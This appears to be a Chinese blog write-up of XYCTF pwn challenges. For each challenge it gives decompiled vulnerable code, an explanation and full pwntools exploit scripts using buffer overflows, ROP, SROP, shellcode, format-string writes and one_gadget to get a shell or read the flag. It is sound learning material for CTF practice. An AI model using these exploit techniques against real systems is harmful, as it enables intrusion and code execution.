4.22--4.28

hello_world
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:[[覆盖截断符]]
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]
    获得shell或flag:[[用onegadget来getshell]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}
exp
from pwn import *

pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"

def debug():
	gdb.attach(r)
	pause()

r.recvuntil(b'please input your name: ')
r.sendline(b'a'*0x27)
#debug()

addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc_base=addr-0x29d90
one=libc_base+0xebd43
rbp=libc_base

print('--------->',hex(addr))
print('libc--------->',hex(libc_base))
print('one--------->',hex(one))

#debug()

r.recvuntil(b'please input your name: ')
#debug()
pl=b'a'*0x20+p64(rbp)+p64(one)
r.sendline(pl)

r.interactive()
static_link
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]&&[[静态文件中用mprotect给数据段rwx权限]]
    获得shell或flag:[[ret2shellcode]]
c
__int64 vuln()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("static_link? ret2??");
  return read(0LL, v1, 256LL);
}
思路

调用mprotect,写入shellcode,执行getshell

exp
from pwn import *
from LibcSearcher import *
from struct import pack

pwnfile='./pwn'
#io=remote("xyctf.top",)
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')

def debug():
	gdb.attach(io)
	pause()

mprotect=0x4482c0
pop_rdi=0x401f1f
pop_rdx=0x451322
pop_rsi=0x409f8e
addr=0x4c8000
read=0x447580

io.recvuntil(b'static_link? ret2??')
shell=asm(shellcraft.sh())

p=b'a' * 0x28
p+=p64(pop_rdi)+p64(addr)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(0x7)+p64(mprotect)
p+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(addr)+p64(pop_rdx)+p64(len(shell))+p64(read)
p+=p64(addr)
#debug()
io.sendline(p)
sleep(0.5)
io.sendline(shell)

#io.sendline(shell)

io.interactive()
guestbook1
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:利用逻辑漏洞修改rbp
    获得shell或flag:[[利用系统中的system]]
[*] '/home/jiang/dl/com/xyctf/Guestbook1/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
c
int GuestBook()
{
  int v1[137]; // [rsp+Ch] [rbp-224h] BYREF

  puts("Welcome to starRail.");
  puts("please enter your name and id");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("index");
      __isoc99_scanf("%d", v1);
      if ( v1[0] <= 32 )
        break;
      puts("out of range");
    }
    if ( v1[0] < 0 )
      break;
    puts("name:");
    read(0, &v1[4 * v1[0] + 1], 0x10uLL);
    puts("id:");
    __isoc99_scanf("%hhu", (char *)&v1[129] + v1[0]);
  }
  return puts("Have a good time!");
}
思路

先看函数先给v1[0]赋值,对其有两次判断,第一次要小于32然后才能出外循环,第二次要大于等于0,否则退出内循环。经过两次对v1[0]的判断后,向v1[4 * v1[0] + 1]写入0x10长度的数据,最后向v1[129] + v1[0]的位置写入一个字节长度的数据。
题目是有后门函数的,所以要把返回地址改成后门函数。name明显写不到,所以就想怎么用一字节改返回地址。
v1[0]最大为32,所以id最多可以写到v1[137]的位置即rbp的位置,因为是小端序所以可以修改rbp指向地址的最后一个字节。
举例:

46:0230│ rbp 0x7fffffffddd0 —▸ 0x7fffffffddf0 ◂— 0x1
47:0238+008 0x7fffffffddd8 —▸ 0x401373 (main+39) ◂— mov eax, 0

4a:0250+020 0x7fffffffddf0 ◂— 0x1
4b:0258+028 0x7fffffffddf8 —▸ 0x7ffff7dbbd90 ◂— mov edi, eax

能看到rbp指向0x7fffffffddf0,所以当结束guestbook函数的时候,需要执行leave ret
leave:mov rsp,rbp;pop rbp
ret:pop eip

执行mov rsp,rbp     rsp=rbp=0x7fffffffddd0
执行pop rbp          rbp=0x7fffffffddf0  rsp=0x7fffffffddd8
执行pop eip          eip=0x401373 (main+39) 即返回到主函数中

然后我们看主函数
.text:000000000040136E                 call    GuestBook
.text:0000000000401373                 mov     eax, 0
.text:0000000000401378                 leave
.text:0000000000401379                 retn
在返回到主函数后,又进行了一次leave ret(其实和栈迁移差不多)

执行mov rsp,rbp     rsp=rbp=0x7fffffffddf0
执行pop rbp          rbp=?  rsp=0x7fffffffddf8
执行pop eip          eip=0x7ffff7dbbd90 下一步就执行exit

   0x7ffff7dbbd90:	mov    edi,eax
   0x7ffff7dbbd92:	call   0x7ffff7dd75f0 <exit>

通过举例能看出来在v1[0]小于0后,会连续执行两次leave ret,eip最终会去执行&(&(rbp+8))的地方
所以我们通过read向栈中写入backdoor,再修改rbp指向* backdoor-8,这样就可以执行后门函数了

exp
from pwn import *

context(log_level='debug',arch='amd64')

def debug():
	gdb.attach(r)
	pause()
	
def all(i,n,m):
	r.recvuntil(b'index')
	r.sendline(str(i))
	r.recvuntil(b'name:')
	r.sendline(n)
	r.recvuntil(b'id:')
	r.sendline(m)

i=1
door=0x401323
while(1):
	try:
		pwnfile='./pwn'
		#r=remote("xyctf.top",)
		r=process(pwnfile)
		elf=ELF(pwnfile)
		
		all(0x20,p64(door)*2,b'88')
		r.recvuntil(b'index')
		#debug()
		r.sendline(str(-1))
		r.recvuntil(b'Have a good time!')
		r.sendline(b'cat flag\n')
		i=i+1
		print(i)
		sleep(0.5)
		r.recv()
		if b'flag' in r.recv():
			r.interactive()
			break
	except:
		r.close()
babygift
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:[[Format String泄露内存]]
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]
    获得shell或flag:[[用onegadget来getshell]]
[*] '/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/babyGift/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3f9000)
c
void GetInfo()
{
  char s[32]; // [rsp+0h] [rbp-40h] BYREF
  char v1[32]; // [rsp+20h] [rbp-20h] BYREF

  printf("Your name:");
  putchar(10);
  fgets(s, 32, stdin);
  printf("Your passwd:");
  putchar(10);
  fgets(v1, 64, stdin);
  Gift();
}
gift
.text:0000000000401219                 endbr64
.text:000000000040121D                 push    rbp
.text:000000000040121E                 mov     rbp, rsp
.text:0000000000401221                 mov     [rbp+var_8], rdi
.text:0000000000401225                 nop
.text:0000000000401226                 pop     rbp
.text:0000000000401227                 retn
.text:0000000000401227 ; } // starts at 401219
思路

大佬的思路,没用题目给的gift
利用第一次leave ret时的寄存器,修改返回地址,打印出栈上地址

.text:0000000000401271                 mov     rdi, rax        ; format
.text:0000000000401274                 mov     eax, 0
.text:0000000000401279                 call    _printf
.text:000000000040127E                 mov     edi, 0Ah        ; c
.text:0000000000401283                 call    _putchar
.text:0000000000401288                 mov     rdx, cs:stdin@GLIBC_2_2_5 ; stream
.text:000000000040128F                 lea     rax, [rbp+var_20]
.text:0000000000401293                 mov     esi, 40h ; '@'  ; n
.text:0000000000401298                 mov     rdi, rax        ; s
.text:000000000040129B                 call    _fgets
.text:00000000004012A0                 lea     rax, [rbp+var_20]
.text:00000000004012A4                 mov     rdi, rax
.text:00000000004012A7                 call    Gift
.text:00000000004012AC                 nop
.text:00000000004012AD                 leave
.text:00000000004012AE                 retn

之后执行了rdi=rax=rbp-0x20,在rbp-0x20开始写入,一共可以写入0x40字节
之后就是常规覆盖rbp,达到执行onegadget的条件

exp
from pwn import *

pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"

def debug():
	gdb.attach(r)
	pause()

call_printf=0x401274
main=0x401220
one=0xebd43
one1=0xebc81
offset=0x21ab23
fake=0x404000

r.recvuntil(b'Your name:')
#debug()
r.sendline(b'%p%p%p%p'*3)

r.recvuntil(b'Your passwd:')
pl= b'%p%p%p%p'+b'b'*8+b'c'*8+b'd'*8+p64(fake+0x100)+p64(call_printf)
r.sendline(pl)

#addr = u64(r.recvuntil(b'\x3078')[-6:].ljust(8, b'\x00'))
r.recvline()
addr = int(r.recv(14),16)
print(hex(addr))
get=addr-offset+one1

sleep(0.3)
r.recvuntil(b'ccccccccdddddddd')
pl= b'a'*8+b'b'*8+b'c'*8+b'd'*8+p64(addr-offset-0x500)+p64(get)
r.sendline(pl)

r.interactive()
invisible_flag
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]&&[[静态文件中用mprotect给数据段rwx权限]]
    获得shell或flag:[[ret2shellcode]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  void *buf; // [rsp+8h] [rbp-118h]

  init(argc, argv, envp);
  buf = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( buf == (void *)-1LL )
  {
    puts("ERROR");
    result = 1;
  }
  else
  {
    puts("show your magic again");
    read(0, buf, 0x200uLL);
    sandbox();
    ((void (*)(void))buf)();
    result = 0;
  }
  return result;
}
思路

本质和调用shellcraft.cat(“./flag”)一样,但是shellcraft.cat(“./flag”)是调用了open和write

exp
from pwn import *

pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')

def debug():
	gdb.attach(r)
	pause()
	
addr=0x114514000
shellcode = asm('''
		push 0x67616c66
        push 257
        pop rax
        push -100
        pop rdi
        mov rsi, rsp
        xor rdx, rdx
        syscall
        
        mov r10d, 0x7fffffff
        mov rsi, rax
        push 40 
        pop rax
        push 1
        pop rdi
        cdq 
        syscall
''')
r.recvuntil(b'show your magic again')
r.sendline(shellcode)

r.interactive()

simple_srop
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]
    获得shell或flag:[[SROP]]
[*] '/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/simple_srop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  read(0, buf, 0x200uLL);
  return 0;
}
思路

能栈溢出,还给了0x200的长度,况且题目也很明确,用srop
srop原理就不说了,具体来看怎么用,理解过程
第一次栈溢出来控制执行流

.text:00000000004012D4                 leave
.text:00000000004012D5                 retn

.text:0000000000401292                 push    rbp
.text:0000000000401293                 mov     rbp, rsp
.text:0000000000401296                 mov     rax, 0Fh
.text:000000000040129D                 syscall                 ; LINUX - sys_rt_sigreturn
.text:000000000040129F                 retn

pop_rax=0x401296      syscall=0x40129d

leave:
mov rsp,rbp     rsp=rbp->pop_rax
pop rbp         rsp->pop_rax  rbp=pop_rax

ret:
pop rip         rsp=sigframe rip=pop_rax

mov rax,0fh
syscall

ret:            rsp=sigframe+8   rip=sigframe

这个时候就开始执行sigframe,恢复恶意进程(我们可以任意布置寄存器的值,来执行函数)
因为开了沙盒,所以不能直接写入/bin/sh执行system来getshell,所以就传统的orw就可以了
因为初始要构造三个sigframe(orw),所以我们需要重新读入数据,顺序即rorw

rax,rdi,rsi,rdx没必要看了,重要看rsp和rip(这两个是连续执行sigframe的关键)

在这道题里恢复完进程
第一次恢复进程
rip=0x40129d  执行syscall(read(0,0x404200,0x300))
rip=0x40129f  pop rip:rip=old_rsp=0x404208 (先读入./flag,open好找地址)
rip=0x404208  执行sigframe(open)

之后情况就差不多,布置寄存器,算好rsp,保证rip执行就行了
from pwn import *

pwnfile='./vuln'
io=remote("127.0.0.1",42499)
#io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')

def debug():
	gdb.attach(io)
	pause()

fake_addr=0x404200
main=0x401289
pop_rax=0x401296
syscall_ret=0x40129d
ret=0x40101a
#debug()
sigframe=SigreturnFrame()
sigframe.rax=0x0
sigframe.rdi=0x0
sigframe.rsi=0x404200
sigframe.rdx=0x300
sigframe.rsp=0x404208
sigframe.rip=syscall_ret
#sigframe.rsp=0x404200
payload=p64(0x404200)+b'a'*0x18+p64(pop_rax)+p64(pop_rax)+flat(sigframe)
io.sendline(payload)

sigframe=SigreturnFrame()
sigframe.rax=0x2
sigframe.rdi=0x404200
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=0x404308
sigframe.rip=syscall_ret
payload1=b'./flag\x00\x00'+p64(pop_rax)+flat(sigframe)
print(len(payload1))

sigframe=SigreturnFrame()
sigframe.rax=0x0
sigframe.rdi=0x3
sigframe.rsi=0x404600
sigframe.rdx=0x30
sigframe.rsp=0x404408
sigframe.rip=syscall_ret
payload1+=p64(pop_rax)+flat(sigframe)
print(len(payload1))

sigframe=SigreturnFrame()
sigframe.rax=0x1
sigframe.rdi=0x1
sigframe.rsi=0x404600
sigframe.rdx=0x30
sigframe.rsp=0x0
sigframe.rip=syscall_ret
payload1+=p64(pop_rax)+flat(sigframe)
io.sendline(payload1)

io.interactive()
intermittent
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2text]]
    获得shell或flag:[[ret2shellcode]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    result = 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    result = 0;
  }
  return result;
}
思路

函数先创一段可读可写可执行的空间,然后读取0x100长度数据,把连续三次读取char类型的数据放入v5+0,v5+4* 4,v5+8* 4三个地址内,然后调用。
动调到call rax,观察寄存器,然后就能得出push rdx,pop rsi,syscall就能实现向0x114514000读入足够长的数据,且读取完数据,rip继续在0x114514004执行,所以我们在0x114514004开始写入shellcraft.sh()就可以了

from pwn import *
from LibcSearcher import *

pwnfile='./vuln'
p=remote("127.0.0.1",38805)
#p=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')

def debug():
	gdb.attach(p)
	pause()

p.recvuntil(b'show your magic:')

#debug()
shell=b'\x00'*4+asm(shellcraft.sh())
pl=b'\x52\x5e\x0f\x05'+b'\x00'*8
p.sendline(pl)
sleep(1)
p.sendline(shell)
p.interactive()
fmt
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[Format String覆盖内存]]
    获得shell或flag:[[劫持exit_hook]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

.text:000000000040126B                 lea     rax, [rbp+buf1]
.text:000000000040126F                 mov     edx, 20h ; ' '  ; nbytes
.text:0000000000401274                 mov     rsi, rax        ; buf
.text:0000000000401277                 mov     edi, 0          ; fd
.text:000000000040127C                 call    _read
.text:0000000000401281                 lea     rax, [rbp+buf1]
.text:0000000000401285                 mov     rdi, rax
.text:0000000000401288                 mov     eax, 0
.text:000000000040128D                 call    ___isoc99_scanf
.text:0000000000401292                 lea     rdi, aShowYourMagic ; "show your magic"
.text:0000000000401299                 mov     eax, 0
.text:000000000040129E                 call    printf
思路

先给你栈上地址,然后读入0x20数据,然后执行scanf函数(scanf和print解析格式化字符串一样),所以我们可以在read读入b’%8$s’+b’\x00’* 4+p64(libc_base+s_offset)* 3,像print覆盖内存一样,修改​_dl_fini中的_rtld_lock_lock_recursive 和_rtld_lock_unlock_recursive(大概偏移就是_rtld_global+3840附近),之后在执行exit函数时,会先调用_rtld_lock_lock_recursive 和_rtld_lock_unlock_recursive这两个,所以把他们覆盖成backdoor或者system和/bin/sh都可以

from pwn import *
from LibcSearcher import *

pwnfile='./vuln'
r=remote("127.0.0.1",41283)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"

def debug():
	gdb.attach(r)
	pause()

offset=0x61cc0
s_offset=0x222060+3848
backdoor=0x4012c2

r.recvuntil(b'Welcome to xyctf, this is a gift:')
#debug()
print_addr=int(r.recv(15),16)
libc=ELF('/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/fmt/libc-2.31.so')
libc_base=print_addr-offset
print(hex(print_addr))
print(hex(libc_base))
print(hex(libc_base+s_offset))

r.sendline(b'%8$s'+b'\x00'*4+p64(libc_base+s_offset)*3)
#r.sendline(p64(0x7325))
sleep(0.5)
pl=p64(backdoor)
r.sendline(pl)

#print(hex(stack_addr))

r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值